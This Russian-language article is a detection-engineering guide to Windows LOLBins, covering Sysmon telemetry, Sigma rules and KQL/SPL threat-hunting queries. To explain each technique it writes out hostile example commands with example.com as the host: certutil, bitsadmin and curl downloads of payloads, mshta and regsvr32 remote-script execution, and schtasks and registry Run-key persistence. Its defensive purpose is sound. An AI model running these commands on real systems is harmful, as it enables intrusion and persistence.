Статья Living off the Land Binaries (LOLBins): атаки и detection

Living off the Land - один из тех подходов, который за последние годы из редкой техники превратился почти в стандартный элемент атак. Смысл простой и неприятный для защитников: вместо собственной малвари атакующий использует уже установленное в системе программное обеспечение. Легитимные утилиты Windows, подписанные Microsoft, присутствующие на каждой машине и давно включённые в рабочие процессы администраторов.

Такие утилиты называют LOLBins - Living off the Land Binaries. Под этим термином обычно понимают системные бинарники Windows, которые можно использовать для выполнения действий, не предполагаемых их изначальной задачей: загрузка файлов, исполнение кода, обход политик безопасности, закрепление в системе. Файл остаётся легитимным, подпись валидна, антивирус не видит ничего необычного. С точки зрения системы запускается обычный certutil.exe или mshta.exe. С точки зрения атаки - это уже часть kill chain.

Причина, по которой LOLBins работают так хорошо, довольно банальная. Большинство средств защиты строят детекцию вокруг неизвестных бинарников, вредоносных сигнатур или подозрительных файлов. Когда же действия выполняются штатными утилитами системы, граница между нормальной администраторской активностью и атакой начинает размываться. Особенно в инфраструктурах, где администраторы активно используют PowerShell, WMI и различные системные утилиты.

Типичный сценарий выглядит примерно так: атакующий получает доступ к системе, затем с помощью certutil скачивает полезную нагрузку, через rundll32 или mshta запускает код, а закрепляется через schtasks или изменение реестра. Снаружи это выглядит как обычная активность Windows. Именно поэтому детект в таких случаях строится не вокруг файлов, а вокруг поведения процессов.

Отдельный интерес здесь представляет база LOLBAS Project - открытый каталог бинарников Windows, которые могут использоваться в атаках. Проект ведётся сообществом и регулярно обновляется. Сейчас в нём десятки инструментов, разбитых по категориям: execution, download, persistence, defense evasion. Для detection-инженеров это фактически карта возможных злоупотреблений системными утилитами.

Сегодня мы разберём практическую сторону темы. Какие бинарники используются чаще всего, как выглядят реальные цепочки атак, какие группы их применяют и, главное, как строить детекцию. Будут Sysmon события, Sigma-правила, hunting-запросы и подход к baseline - потому что без понимания нормального поведения системы LOLBins ловятся плохо.

---

Living off the Land: почему легитимные бинарники работают лучше малвари​

В классической модели атаки злоумышленник приносит в систему собственный инструмент. Бэкдор, загрузчик, скрипт - неважно. Этот файл нужно доставить, записать на диск, запустить. И на каждом этапе его могут поймать. Сигнатуры, reputation-базы, sandbox-анализ - всё это построено вокруг обнаружения неизвестного или подозрительного кода.
LOLBins ломают эту модель.

Атакующий ничего не приносит. Он использует то, что уже установлено в системе. Windows содержит десятки административных утилит, предназначенных для обслуживания системы, сетевых операций, автоматизации и диагностики. Эти бинарники подписаны Microsoft, входят в базовую поставку ОС и регулярно используются администраторами. Поэтому средства защиты обычно считают их доверенными.
И вот здесь появляется важный сдвиг в логике detection.

Когда используется собственный вредоносный файл, защитник ищет сам файл. Когда используются LOLBins, искать приходится поведение процессов.

Под поведением здесь понимается контекст выполнения программы: какой процесс её запустил, какие аргументы командной строки переданы, какие сетевые соединения установлены, какие файлы созданы или изменены. В detection engineering'e это называют process telemetry - поток событий о процессах и их активности, который собирается средствами мониторинга вроде Sysmon или EDR.
LOLBins удобны атакующему по нескольким причинам.

Причина	Что это даёт атакующему
Бинарник уже присутствует в системе	не требуется доставлять файл
Подписан доверенным издателем	высокий уровень доверия у средств защиты
Используется администраторами	сложно отделить атаку от легитимной активности
Имеет встроенные функции работы с сетью и скриптами	можно скачивать и исполнять код напрямую

За счёт этого атака становится менее заметной. Например, запуск неизвестного исполняемого файла почти всегда вызывает подозрение у EDR. А запуск certutil.exe или rundll32.exe может выглядеть как обычная административная операция, если анализ ограничивается только именем процесса.

На практике LOLBins редко используются как самостоятельный инструмент атаки. Чаще они выполняют вспомогательную роль внутри цепочки действий. Один бинарник скачивает файл, другой исполняет код, третий помогает закрепиться в системе через планировщик задач или изменения реестра.

Если смотреть на атаку как на последовательность шагов, системные утилиты обычно используются на трёх этапах:

• загрузка полезной нагрузки;
• исполнение кода без записи отдельного бинарника;
• закрепление в системе через штатные механизмы Windows.

Для детект-инженера это означает, что анализ должен строиться не вокруг списка запрещённых файлов. Куда важнее контекст запуска процессов: родительский процесс, параметры командной строки, сетевые соединения и изменения в системе.
Именно поэтому в SOC всё чаще используется связка Sysmon + Sigma + threat hunting.

Sysmon - это инструмент расширенного логирования Windows, который записывает детальную телеметрию о процессах, сети и файловых операциях.
Sigma - универсальный формат правил детекции, позволяющий описывать подозрительное поведение и затем конвертировать его в запросы для различных SIEM.
Threat hunting - проактивный поиск аномалий в телеметрии без ожидания срабатывания алертов.

Когда начинаешь строить detection вокруг поведения процессов, быстро понимаешь: стандартных Windows-логов почти всегда недостаточно. Нужна более глубокая телеметрия — особенно для анализа командной строки и связей процессов. В статье: "Threat Hunting на шифровальщиков до того, как они зашифруют всё" мы подробно разобрали, какие события Sysmon действительно важны для охоты на угрозы и почему именно они дают видимость действий атакующего.

---

Классификация LOLBins​

Когда говорят о LOLBins, часто создаётся ощущение, что это просто длинный список системных утилит. На практике всё немного структурированнее. Большинство бинарников используется в атаках не случайно - у каждого есть довольно понятная роль. Один скачивает файлы, другой исполняет код, третий помогает закрепиться в системе.

Если разложить их по функциям, становится проще понимать поведение атакующего и строить detection.

Категория	Основная задача	Примеры бинарников
Download	загрузка файлов из сети	certutil, bitsadmin, curl
Execute	запуск кода или скриптов	mshta, regsvr32, rundll32
Compile	компиляция кода на системе	MSBuild, csc.exe
Persistence	закрепление в системе	schtasks, reg.exe

Такое разделение полезно для SOC по одной простой причине: каждая категория оставляет разные следы в логах. Download-утилиты генерируют сетевую активность. Execution-утилиты почти всегда связаны с необычными аргументами командной строки. Persistence-утилиты изменяют реестр или создают задачи планировщика. Разберёмся с наиболее используемыми бинарниками.

---

Download: certutil, bitsadmin, curl​

Одна из самых частых задач на ранних этапах атаки - загрузить файл. Payload, скрипт, конфигурацию C2. Для этого Windows уже содержит несколько удобных инструментов.

certutil.exe​

certutil изначально предназначен для работы с сертификатами и инфраструктурой PKI.
Но у него есть функция загрузки файлов через HTTP.
Пример команды:

certutil -urlcache -f http://example.com/payload.exe payload.exe

С точки зрения системы запускается обычный системный бинарник.
С точки зрения атаки - происходит загрузка исполняемого файла.
Что важно для detection:

• необычные сетевые адреса
• запись файла после сетевого запроса
• запуск certutil из пользовательских процессов

Типичное событие в Sysmon:
Event ID: 1
Process Create
Image: C:\Windows\System32\certutil.exe
CommandLine: certutil -urlcache -f http://...
Пример простого Sigma-правила:

title: Suspicious Certutil Download
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains: '-urlcache'
  condition: selection
level: medium

​

bitsadmin.exe​

bitsadmin работает с BITS (Background Intelligent Transfer Service) - сервисом Windows для фоновой загрузки файлов.
Это тот же механизм, который использует Windows Update.
Поэтому сетевые операции через BITS часто выглядят легитимно.
Пример команды:

bitsadmin /transfer job http://example.com/file.exe C:\Temp\file.exe

Для детекта полезно отслеживать:

• запуск bitsadmin из нестандартных родительских процессов
• загрузку файлов в пользовательские директории
• дальнейший запуск загруженного файла

Sysmon события:
Event ID: 1 (Process creation)
Event ID: 3 (Network connection)
Event ID: 11 (File creation)

curl.exe​

Начиная с Windows 10, curl поставляется в системе по умолчанию.
Фактически это полноценный HTTP-клиент.
Пример:

curl http://example.com/payload.ps1 -o payload.ps1

Если инфраструктура активно использует DevOps-инструменты или скрипты автоматизации, curl может появляться в логах часто. Поэтому детекция должна учитывать контекст:

• родительский процесс
• директорию сохранения
• дальнейшее исполнение скачанного файла

---

Execute: mshta, regsvr32, rundll32​

После загрузки payloa'а его нужно исполнить.
Для этого используются бинарники, которые умеют запускать скрипты, DLL или HTA-файлы.

mshta.exe​

mshta запускает HTA (HTML Applications) - это HTML-файлы, содержащие JavaScript или VBScript с расширенными правами.
Пример команды:

mshta http://example.com/script.hta

Такая команда скачивает и сразу выполняет скрипт.
Для detection важны:

• сетевые URL в аргументах
• запуск из Office-процессов
• выполнение из пользовательских каталогов

Sysmon событие:

Event ID: 1
Process Create
Image: C:\Windows\System32\mshta.exe

regsvr32.exe​

regsvr32 предназначен для регистрации COM-библиотек (Component Object Model).
COM - это механизм взаимодействия компонентов Windows.
Но бинарник может запускать удалённые скрипты через параметр /i.
Пример:

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

Эта техника часто называется Squiblydoo.
Для detection важно искать:

• параметр /i:
• сетевые URL
• использование scrobj.dll

rundll32.exe
rundll32 выполняет функции из DLL-библиотек.
Команда выглядит так:

rundll32.exe payload.dll,EntryPoint

Для атакующих это удобный способ запустить код без отдельного exe-файла.
Подозрительные признаки:

• запуск DLL из пользовательских директорий
• необычные аргументы
• родительские процессы вроде winword.exe, excel.exe

---

Compile: MSBuild и csc.exe​

Иногда атакующие вообще не приносят бинарник.
Они доставляют исходный код, который компилируется прямо на машине жертвы.
MSBuild.exe - инструмент сборки .NET-проектов.
csc.exe - компилятор C#.
Если на систему попадает вредоносный проект, его можно собрать локально и сразу выполнить.
Пример:

MSBuild.exe payload.csproj

Такой подход почти не оставляет привычных сигнатур вредоносных файлов.

---

Persistence: schtasks и reg.exe​

После выполнения кода атакующий обычно закрепляется в системе.

schtasks.exe​

Создание задачи планировщика:

schtasks /create /sc minute /mo 30 /tn updater /tr payload.exe

Sysmon события:

Event ID: 1   Process Create
Event ID: 13  Registry value set

reg.exe
Изменение ключей автозапуска:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /d payload.exe

Такие изменения фиксируются Sysmon через события реестра. На практике атака редко использует один бинарник.
Обычно это небольшая цепочка: один инструмент скачивает файл, другой запускает код, третий обеспечивает persistence.

---

Цепочки атак: как LOLBins собираются в рабочий пайплайн​

По отдельности бинарники вроде certutil, mshta или schtasks выглядят как обычные административные инструменты. Настоящая проблема появляется, когда они начинают работать вместе. В атаке LOLBins почти никогда не используются изолированно - они собираются в небольшую цепочку действий, где каждый бинарник выполняет свою роль.

Эта цепочка обычно повторяет стандартную модель attack lifecycle - последовательность этапов атаки от первоначального доступа до закрепления. В detection engineering её часто называют kill chain: логическая последовательность действий злоумышленника внутри системы.
Если упрощать, цепочка с использованием LOLBins чаще всего выглядит так:

Этап	Что происходит	Пример LOLBin
Delivery	загрузка файла или скрипта	certutil, curl
Execution	запуск кода	mshta, rundll32
Persistence	закрепление	schtasks, reg.exe
C2 / Control	связь с инфраструктурой управления	wmic, powershell

Разберём типичную последовательность.

​

Delivery → загрузка полезной нагрузки​

На этом этапе атакующий получает возможность выполнить команду в системе. Это может быть макрос, уязвимость или доступ через удалённый сервис. После этого задача - доставить основной инструмент.
LOLBins позволяют сделать это без отдельного загрузчика.
Например:

certutil -urlcache -f http://example.com/loader.exe loader.exe

Команда скачивает файл через HTTP и сохраняет его локально. В логах это выглядит как запуск системной утилиты.
В телеметрии Sysmon обычно появляются такие события:

Event ID 1  - Process Create (certutil.exe)
Event ID 3  - Network Connection
Event ID 11 - File Create

Для detection важно не только то, что запускается certutil, но и контекст запуска. Например, если родительский процесс - winword.exe или outlook.exe, это уже аномалия.

​

Execution → запуск кода​

После загрузки payload нужно исполнить. Иногда атакующий запускает скачанный файл напрямую. Но часто используется другой LOLBin - это помогает маскировать активность.
Типичный пример:

rundll32.exe loader.dll,EntryPoint

rundll32 запускает функцию внутри DLL.
В логах это выглядит как стандартная системная утилита.
Ещё один популярный вариант - запуск скриптов через mshta.

mshta http://example.com/script.hta

HTA-файл может содержать JavaScript или VBScript, который скачивает и запускает следующий этап атаки.
В телеметрии Sysmon это снова будет обычное событие создания процесса:

Event ID 1
Process Create
Image: mshta.exe

Поэтому detection обычно строится на аргументах командной строки и сетевых URL.

​

Persistence → закрепление​

Когда код уже выполнен, атакующий старается закрепиться в системе.
Здесь снова используются стандартные инструменты Windows.
Один из самых частых способов - планировщик задач.

schtasks /create /sc onlogon /tn updater /tr C:\Temp\loader.exe

Эта команда создаёт задачу, которая запускается при входе пользователя.
В логах Sysmon это выглядит так:

Event ID 1   Process Create (schtasks.exe)
Event ID 13  Registry modification

Ещё один вариант - добавление записи автозапуска через реестр.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v updater /d C:\Temp\loader.exe

​

Почему цепочки важны для detection​

Главная сложность LOLBins - каждый отдельный шаг может выглядеть легитимно.
certutil используется администраторами.
rundll32 запускается системой постоянно.
schtasks активно применяется для автоматизации.
Но если эти процессы появляются в определённой последовательности, картина меняется.
Именно поэтому многие detection-команды переходят от анализа отдельных событий к корреляции - объединению нескольких событий в одну цепочку.
Например:

1. certutil скачивает файл
2. через несколько секунд rundll32 запускает DLL из той же директории
3. затем schtasks создаёт задачу

По отдельности эти события могут быть нормальными. Вместе - это почти готовая сигнатура атаки.
Для SOC это означает одну важную вещь: детекция LOLBins должна смотреть не только на процесс, но и на временную последовательность действий. Без этого большая часть атак остаётся незамеченной.

---

LOLBAS Project: карта злоупотреблений системными бинарниками​

Когда количество известных LOLBins начало быстро расти, стало понятно, что список из нескольких утилит уже не отражает реальную картину. В Windows десятки инструментов, и почти у каждого можно найти нетривиальные способы использования. В какой-то момент сообщество начало систематизировать эту информацию. Так появился проект LOLBAS Project.

LOLBAS - это открытая база данных системных бинарников Windows, которые могут использоваться в атаках. Внутри проекта описаны десятки утилит, их параметры командной строки, возможные злоупотребления и примеры detection. Для detection-инженеров это фактически каталог потенциальных TTP - TTP (Tactics, Techniques and Procedures), то есть набор техник и методов, которые применяются атакующими.

Каждая запись в базе построена по довольно строгой структуре. Сначала идёт сам бинарник - например certutil.exe или rundll32.exe. Затем перечисляются категории использования: download, execution, defense evasion, persistence. После этого приводятся конкретные команды, которыми можно злоупотребить функциями программы.

Типичная страница LOLBAS содержит несколько важных разделов:

Раздел	Что в нём находится
Description	назначение бинарника
Functions	какие злоупотребления возможны
Commands	примеры команд
Detection	идеи для обнаружения
Resources	ссылки на исследования

Для blue team это удобный формат. Вместо поиска информации по разным блогам можно открыть страницу бинарника и сразу увидеть, какие сценарии стоит мониторить.

Например, в записи certutil сразу видно несколько вариантов злоупотребления:

• загрузка файлов через HTTP
• декодирование base64 payload
• запись файлов на диск

В detection-разделе обычно указаны признаки, на которые стоит обращать внимание: аргументы командной строки, нестандартные директории, сетевые соединения.

Это сильно ускоряет разработку правил. Detection-инженер может взять команду из LOLBAS и сразу проверить, как она выглядит в логах Sysmon или EDR.

Например, команда:

certutil -decode payload.txt payload.exe

В телеметрии выглядит как обычный запуск certutil. Но если в аргументах появляется параметр -decode и создаётся исполняемый файл - это уже подозрительная активность.

Ещё одна важная особенность LOLBAS - проект поддерживается сообществом. Любой исследователь может добавить новый бинарник или новую технику злоупотребления. Поэтому база постоянно растёт. Появляются новые инструменты Windows, меняются параметры командной строки, появляются новые сценарии обхода защитных механизмов.

Для threat hunting LOLBAS часто используется как reference dataset - опорный список потенциально опасных утилит. SOC может взять перечень бинарников из базы и построить baseline их использования внутри инфраструктуры. Baseline в detection engineering'e - это модель нормального поведения системы. То есть ответ на вопрос: какие процессы запускаются регулярно и с какими аргументами.

После построения baseline становится проще искать аномалии. Если mshta.exe никогда не используется в инфраструктуре, его запуск уже повод для расследования. Если certutil применяется только для администрирования PKI, любые сетевые URL в аргументах выглядят подозрительно.

В результате LOLBAS превращается не просто в список инструментов, а в практический источник идей для детекции. Он помогает ответить на два ключевых вопроса: какие бинарники стоит мониторить и какие параметры командной строки считаются опасными.

---

Detection Engineering: как ловить злоупотребления LOLBins​

Основная сложность с LOLBins - их нельзя просто запретить. Большинство этих бинарников - часть стандартной инфраструктуры Windows. Они используются администраторами, скриптами автоматизации и системными компонентами. Если заблокировать их полностью, половина административных задач перестанет работать.

Поэтому detection строится вокруг контекста выполнения. Не просто факт запуска rundll32.exe, а где он запущен, кем, с какими аргументами и что произошло после этого.

В detection engineering'e это называется behavior-based detection - модель обнаружения, основанная на поведении процессов и последовательности действий, а не на сигнатурах файлов.

Чтобы такая модель работала, нужна подробная телеметрия. На Windows чаще всего используется Sysmon (System Monitor) - утилита из пакета Sysinternals, которая расширяет стандартное журналирование Windows и записывает детальные события о процессах, сети и файловых операциях.

​

Sysmon: какие события важны для LOLBins​

Sysmon генерирует десятки типов событий, но для анализа LOLBins ключевыми обычно становятся несколько.

Sysmon Event ID	Тип события	Зачем нужен
1	Process Create	запуск LOLBins
3	Network Connection	загрузка payload
7	Image Load	загрузка DLL
11	File Create	запись файлов
13	Registry Value Set	persistence

Event ID 1 - центральное событие.
Именно здесь фиксируется запуск бинарника и аргументы командной строки.
Пример события:

Event ID: 1
Image: C:\Windows\System32\certutil.exe
ParentImage: C:\Program Files\Microsoft Office\winword.exe
CommandLine: certutil -urlcache -f http://example.com/file.exe file.exe

Такой контекст уже сильно отличается от нормальной административной активности.
Хорошая практика - включать логирование командной строки для всех процессов. Без этого половина LOLBin-техник просто теряется в логах.

​

Sigma-правила: универсальный формат детекции​

Когда телеметрия собирается, следующий шаг - правила обнаружения.
Для этого часто используют Sigma - универсальный язык описания детекций. Правило Sigma можно конвертировать в запросы для различных SIEM: Splunk, Elastic, Sentinel.
Пример простого правила для обнаружения подозрительного mshta.

title: Suspicious MSHTA Remote Execution
logsource:
  product: windows
  category: process_creation

detection:
  selection:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http'
      - 'https'
  condition: selection

level: high

Идея правила простая: если mshta запускается с сетевым URL, это почти всегда требует проверки.

​

Детекция отдельных LOLBins​

У каждого бинарника есть характерные признаки злоупотребления.
Например rundll32.

title: Rundll32 Execution From User Directory
logsource:
  product: windows
  category: process_creation

detection:
  selection:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains:
      - 'AppData'
      - 'Temp'
  condition: selection

Почему это работает: легитимные DLL редко исполняются из пользовательских директорий.
Другой пример - regsvr32.

title: Regsvr32 Remote Script Execution
logsource:
  product: windows
  category: process_creation

detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains: '/i:'
  condition: selection

Параметр /i: часто используется для загрузки удалённых скриптов.

​

Baseline: главный элемент детекции​

Даже хорошие правила могут давать ложные срабатывания. Причина проста - системные утилиты действительно используются легитимно.
Поэтому почти каждая detection-команда строит baseline.
Baseline - это статистическая модель нормальной активности.
Она отвечает на несколько вопросов:

• какие LOLBins используются в инфраструктуре
• какие аргументы встречаются чаще всего
• какие процессы запускают эти утилиты

Например, если certutil используется только администраторами PKI-серверов, его запуск на рабочей станции пользователя уже выглядит подозрительно.

Baseline обычно строится на нескольких неделях телеметрии. После этого можно искать отклонения.
Именно здесь detection engineering начинает работать по-настоящему. Вместо попытки угадать каждую технику атакующего команда ищет аномалии поведения процессов.

---

Threat Hunting: как искать злоупотребления LOLBins проактивно​

Даже хорошая система детекции не покрывает всё. Часть техник проходит мимо правил просто потому, что аргументы командной строки слегка изменены или бинарник используется нестандартным способом. Именно поэтому в SOC всё чаще применяется threat hunting - проактивный поиск подозрительных паттернов в телеметрии без ожидания алертов.

Threat hunting опирается на гипотезы. Например: если атакующий использует LOLBins для загрузки файлов, в логах должны появиться системные утилиты Windows с сетевыми URL. Если код исполняется через rundll32, в командной строке должны быть нестандартные пути к DLL.

В качестве источника данных обычно используется телеметрия EDR или Sysmon, поступающая в SIEM. Дальше аналитик формирует поисковые запросы.

​

Hunting в Microsoft Sentinel (KQL)​

KQL (Kusto Query Language) - язык запросов, используемый в Microsoft Sentinel и Azure Data Explorer. Он позволяет анализировать большие массивы логов и искать подозрительные процессы.

Пример поиска загрузок через certutil.

DeviceProcessEvents
| where FileName == "certutil.exe"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| sort by Timestamp desc

Такой запрос показывает все случаи, когда certutil использовался для обращения к сетевым ресурсам.

Следующая гипотеза - выполнение mshta с удалённым скриптом.

DeviceProcessEvents
| where FileName == "mshta.exe"
| where ProcessCommandLine contains "http"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName

Здесь полезно смотреть на InitiatingProcessFileName - родительский процесс.
Если mshta запускается из winword.exe или excel.exe, это уже сильный индикатор компрометации.

Hunting подозрительных rundll32 запусков​

rundll32 используется системой постоянно, поэтому hunting должен учитывать контекст.

Один из простых подходов - поиск DLL из пользовательских директорий.

DeviceProcessEvents
| where FileName == "rundll32.exe"
| where ProcessCommandLine contains "AppData"
   or ProcessCommandLine contains "Temp"
| project Timestamp, DeviceName, ProcessCommandLine

Такие пути редко используются для легитимных библиотек.

​

Hunting в Splunk (SPL)​

В инфраструктурах на базе Splunk используется SPL (Search Processing Language) - язык поиска и агрегации событий.

Пример запроса для поиска подозрительного regsvr32.

index=windows EventCode=1
Image="*\\regsvr32.exe"
CommandLine="*/i:*"
| table _time host user CommandLine ParentImage

Параметр /i: часто используется для загрузки удалённых скриптов.

Другой полезный hunting-запрос - поиск сетевой активности bitsadmin.

index=windows EventCode=3
Image="*\\bitsadmin.exe"
| stats count by dest_ip, host, Image

Такой запрос помогает обнаружить необычные внешние соединения.

Поиск аномалий использования LOLBins​

Иногда полезно смотреть не конкретные команды, а статистику использования процессов.

Например, частота запуска бинарников.

DeviceProcessEvents
| where FileName in ("certutil.exe","mshta.exe","rundll32.exe","regsvr32.exe")
| summarize count() by FileName, DeviceName
| sort by count_ desc

Если в инфраструктуре один из этих процессов появляется неожиданно часто на одной машине - это повод для расследования.

Ещё один подход - анализ parent-child relationships.
Это связь между родительским и дочерним процессом.

Пример hunting-запроса:

DeviceProcessEvents
| where FileName == "mshta.exe"
| summarize count() by InitiatingProcessFileName

Если mshta запускается из браузера или офисных приложений, это уже подозрительно.

Threat hunting по LOLBins обычно строится вокруг трёх типов гипотез:

• системная утилита обращается к сети
• бинарник запускается из необычного родительского процесса
• аргументы командной строки содержат подозрительные пути

Даже простые запросы могут выявлять атаки, которые прошли мимо сигнатурных правил.

---

Послесловие​

LOLBins меняют саму логику атак на Windows-системы. Вместо доставки собственного инструментария злоумышленник использует то, что уже присутствует в системе и считается доверенным. certutil, mshta, rundll32, schtasks - это обычные административные утилиты, которые могут спокойно существовать в инфраструктуре годами. Именно поэтому обнаружение таких техник редко строится вокруг сигнатур. Гораздо важнее телеметрия процессов, контекст запуска и понимание того, как выглядит нормальная активность внутри среды.

Для blue team это означает смещение фокуса. Списка вредоносных файлов больше недостаточно. Нужно видеть поведение: кто запускает бинарник, какие аргументы передаются, что происходит дальше в цепочке процессов. Sysmon, Sigma-правила, baseline активности и регулярный threat hunting превращаются из опциональных инструментов в основу detection engineering. Когда такие элементы работают вместе, злоупотребления системными утилитами начинают выглядеть гораздо менее незаметно.

И всё же остаётся один неудобный вопрос. Если большинство используемых в атаках инструментов уже легитимно установлены в системе и регулярно применяются администраторами, где проходит граница между нормальной работой Windows и началом атаки? Возможно, главный индикатор компрометации - это не сам бинарник, а последовательность действий вокруг него. Тогда следующий вопрос для любой SOC-команды звучит довольно просто: насколько хорошо вы знаете нормальное поведение собственной инфраструктуры?